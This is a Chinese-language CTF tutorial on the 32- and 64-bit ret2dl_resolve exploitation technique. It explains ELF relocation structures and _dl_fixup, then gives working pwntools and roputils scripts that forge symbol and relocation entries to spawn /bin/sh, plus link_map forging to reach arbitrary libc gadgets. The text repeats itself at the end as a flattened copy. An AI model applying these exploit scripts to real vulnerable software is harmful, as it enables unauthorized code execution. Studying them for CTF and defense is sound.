32位/64位dlresolve最全总结(不用泄露地址-执行one_gadget)
字数 2012 2025-08-04 08:17:33

32位/64位dl_resolve技术全面解析

1. dl_resolve原理概述

dl_resolve是一种无需泄露内存地址即可执行libc中任意gadget的技术,主要利用动态链接器中的_dl_runtime_resolve函数解析符号的过程。

1.1 关键节表结构

  • JMPREL (.rel.plt): 函数重定位表,存储Elf32_Rel结构体
  • SYMTAB (.dynsym): 动态链接符号表,存储Elf32_Sym结构体
  • STRTAB (.dynstr): 字符串表
  • PLTGOT (.got.plt): 全局偏移表(GOT)

1.2 关键数据结构

Elf32_Sym (16字节)

typedef struct {
    Elf32_Word st_name;     // 在.dynstr中的偏移
    Elf32_Addr st_value;    // 符号值
    Elf32_Word st_size;     // 符号大小
    unsigned char st_info;  // 符号类型和绑定
    unsigned char st_other; // 符号可见性
    Elf32_Section st_shndx; // 节索引
} Elf32_Sym;

Elf32_Rel (8字节)

typedef struct {
    Elf32_Addr r_offset;    // 对于可执行文件,此值为虚拟地址
    Elf32_Word r_info;      // 符号表索引(r_info高8位)和类型(低8位)
} Elf32_Rel;

1.3 函数调用过程分析

当第一次调用read@plt时:

  1. jmp read@got.plt会跳回read@plt
  2. 将read的重定位偏移(在.rel.plt中的偏移)压栈
  3. 跳到plt[0]开头
  4. 将(.got.plt+4)(GOT[1])压栈
  5. 跳到(.got.plt+0x8)(GOT[2])
  6. 相当于调用_dl_runtime_resolve(link_map, rel_offset)

1.4 _dl_fixup函数关键流程

_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) {
    // 1. 计算重定位入口
    const PLTREL *const reloc = JMPREL + reloc_offset;
    
    // 2. 找到.dynsym中对应条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
    
    // 3. 检查reloc->r_info最低位是否为R_386_JUMP_SLOT=7
    assert(ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    
    // 4. 找到符号表字符串
    result = _dl_lookup_symbol_x(strtab + sym->st_name, ...);
    
    // 5. 计算实际地址
    value = DL_FIXUP_MAKE_VALUE(result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
    
    // 6. 写入GOT表
    return elf_machine_fixup_plt(l, result, reloc, rel_addr, value);
}

1.5 利用libc中的gadget

关键点在于当.dynsym节中Elf32_Sym结构的st_other值为非0时,会进入特殊分支:

if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0) {
    // 正常流程
} else {
    /* 特殊分支 */
    value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value);
    result = l;
}

利用方法:

  1. 伪造link_map结构
  2. 使l_addrst_value之一落到某个已解析的GOT表处
  3. 另一个变量设置为可控偏移
  4. 从而跳到libc中任意地址(libc_func+offset)

2. 32位dl_resolve利用技术

2.1 基本利用模板

from pwn import *

elf = ELF('bof')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619  # ROPgadget查找
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458

stack_size = 0x800
bss_addr = 0x0804a040  # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('./bof')
r.recvuntil('Welcome to XDCTF2015~!\n')

# 第一阶段:将ROP写入bss段并劫持栈
payload = 'A' * offset
payload += p32(read_plt)  # 读100字节到base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret)  # base_stage pop到ebp
payload += p32(base_stage)
payload += p32(leave_ret)  # mov esp, ebp ; pop ebp
r.sendline(payload)

# 第二阶段:构造伪造结构
cmd = "/bin/sh"
plt_0 = 0x08048380   # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc  # (base_stage+28)
payload2 += 'B' * align
payload2 += fake_sym  # (base_stage+36)
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

2.2 使用roputils库简化

import roputils
from pwn import *

fpath = './bof'
offset = 112

rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss')

buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

p = process(fpath)
print p.recv()
p.send(p32(len(buf)) + buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.send(buf)
p.interactive()

2.3 执行libc任意gadget

目标:执行libc-2.23.so中的gadget 0x8fa05 : cmp byte ptr [eax], dl ; pop edi ; ret

方法:

  1. 伪造symtab条目:

    • fake_sym = p32(0) + p32(fake_st_value) + p32(0) + p32(0x112)
    • libc.symbos['libc_start_main'] = 0x18540
    • fake_st_value = 0x8fa05 - 0x18540 = 0x774C5
    • fake_link_map = elf.got['libc_start_main'] = 0x0804A018
  2. 伪造link_map:

    • _dl_fixup会引用link_map+0x34/0x38/0x7c处的值
    • 需要提前往这些偏移写入有效值

方法1:使用原有值

# 利用read将原有值写到对应偏移处

方法2:构造新值

# 设置dynstr、dynsym、rel_plt都指向base_stage
# val_0x34 = val_0x38 = val_0x7c = base_stage+80-4
# [base_stage+80] = base_stage

3. 64位dl_resolve利用技术

3.1 与32位的主要区别

  1. 结构体变化

    • Elf64_Rela变为24字节:
      typedef struct elf64_rela {
        Elf64_Addr r_offset;  /* Location to apply action */
        Elf64_Xword r_info;   /* index and type (4+4 bytes) */
        Elf64_Sxword r_addend;/* Constant addend */
      } Elf64_Rela;
      
    • Elf64_Sym变为24字节,字段顺序变化:
      typedef struct elf64_sym {
        Elf32_Word st_name;    /* 4 bytes */
        unsigned char st_info; /* 1 byte */
        unsigned char st_other;/* 1 byte */
        Elf64_Half st_shndx;   /* 2 bytes */
        Elf64_Addr st_value;   /* 8 bytes */
        Elf64_Xword st_size;   /* 8 bytes */
      } Elf64_Sym;
      
  2. 参数传递

    • 第二个参数由相对JMPREL的偏移变为条目下标(除以24)
    • 仍然通过栈传递参数(而非寄存器)
  3. 额外要求

    • 需要将link_map+0x1c8处设为NULL

3.2 基本利用模板

# 类似32位但需要考虑上述差异

3.3 执行libc任意gadget

目标:执行libc-2.23.so中的gadget 0x8eb46 : cmp byte ptr [rax], dl ; ret

方法:

  1. 伪造symtab条目:

    • fake_sym = p32(0) + p32(0x112) + p64(fake_st_value) + p64(0)
    • libc.symbos['libc_start_main'] = 0x20740
    • fake_st_value = 0x8eb46 - 0x20740 = 0x6E406
    • fake_link_map = elf.got['libc_start_main'] = 0x601038
  2. 伪造link_map:

    • _dl_fixup会引用link_map+0x68/0x70/0xf8处的值
    • 需要提前往这些偏移写入有效值
  3. 确保l_addr + r_offset可写:

    • r_offset = libc['.bss'] - libc.symbols['libc_start_main']

方法1:使用原有值

# 利用read将原有值写到对应偏移处

方法2:构造新值

# 设置dynstr、dynsym、rel_plt都指向base_stage
# val_0x68 = val_0x70 = val_0xf8 = base_stage+0xc0-8
# [0xc0] = base_stage

4. 总结

dl_resolve技术通过精心构造动态链接相关的数据结构,利用_dl_runtime_resolve函数的解析过程,实现了无需泄露内存地址即可执行libc中任意gadget的目标。32位和64位的实现原理相似,但在结构体大小、参数传递和具体偏移上有所差异。掌握这项技术对于解决没有信息泄露的ROP题目非常有帮助。

32位/64位dl_ resolve技术全面解析 1. dl_ resolve原理概述 dl_ resolve是一种无需泄露内存地址即可执行libc中任意gadget的技术,主要利用动态链接器中的 _dl_runtime_resolve 函数解析符号的过程。 1.1 关键节表结构 JMPREL (.rel.plt) : 函数重定位表,存储Elf32_ Rel结构体 SYMTAB (.dynsym) : 动态链接符号表,存储Elf32_ Sym结构体 STRTAB (.dynstr) : 字符串表 PLTGOT (.got.plt) : 全局偏移表(GOT) 1.2 关键数据结构 Elf32_ Sym (16字节) Elf32_ Rel (8字节) 1.3 函数调用过程分析 当第一次调用 read@plt 时: jmp read@got.plt 会跳回 read@plt 将read的重定位偏移(在.rel.plt中的偏移)压栈 跳到plt[ 0 ]开头 将(.got.plt+4)(GOT[ 1 ])压栈 跳到(.got.plt+0x8)(GOT[ 2 ]) 相当于调用 _dl_runtime_resolve(link_map, rel_offset) 1.4 _ dl_ fixup函数关键流程 1.5 利用libc中的gadget 关键点在于当 .dynsym 节中 Elf32_Sym 结构的 st_other 值为非0时,会进入特殊分支: 利用方法: 伪造link_ map结构 使 l_addr 或 st_value 之一落到某个已解析的GOT表处 另一个变量设置为可控偏移 从而跳到libc中任意地址(libc_ func+offset) 2. 32位dl_ resolve利用技术 2.1 基本利用模板 2.2 使用roputils库简化 2.3 执行libc任意gadget 目标:执行libc-2.23.so中的gadget 0x8fa05 : cmp byte ptr [eax], dl ; pop edi ; ret 方法: 伪造symtab条目: fake_sym = p32(0) + p32(fake_st_value) + p32(0) + p32(0x112) libc.symbos['libc_start_main'] = 0x18540 fake_st_value = 0x8fa05 - 0x18540 = 0x774C5 fake_link_map = elf.got['libc_start_main'] = 0x0804A018 伪造link_ map: _dl_fixup 会引用 link_map+0x34/0x38/0x7c 处的值 需要提前往这些偏移写入有效值 方法1:使用原有值 方法2:构造新值 3. 64位dl_ resolve利用技术 3.1 与32位的主要区别 结构体变化 : Elf64_Rela 变为24字节: Elf64_Sym 变为24字节,字段顺序变化: 参数传递 : 第二个参数由相对JMPREL的偏移变为条目下标(除以24) 仍然通过栈传递参数(而非寄存器) 额外要求 : 需要将 link_map+0x1c8 处设为NULL 3.2 基本利用模板 3.3 执行libc任意gadget 目标:执行libc-2.23.so中的gadget 0x8eb46 : cmp byte ptr [rax], dl ; ret 方法: 伪造symtab条目: fake_sym = p32(0) + p32(0x112) + p64(fake_st_value) + p64(0) libc.symbos['libc_start_main'] = 0x20740 fake_st_value = 0x8eb46 - 0x20740 = 0x6E406 fake_link_map = elf.got['libc_start_main'] = 0x601038 伪造link_ map: _dl_fixup 会引用 link_map+0x68/0x70/0xf8 处的值 需要提前往这些偏移写入有效值 确保 l_addr + r_offset 可写: r_offset = libc['.bss'] - libc.symbols['libc_start_main'] 方法1:使用原有值 方法2:构造新值 4. 总结 dl_ resolve技术通过精心构造动态链接相关的数据结构,利用 _dl_runtime_resolve 函数的解析过程,实现了无需泄露内存地址即可执行libc中任意gadget的目标。32位和64位的实现原理相似,但在结构体大小、参数传递和具体偏移上有所差异。掌握这项技术对于解决没有信息泄露的ROP题目非常有帮助。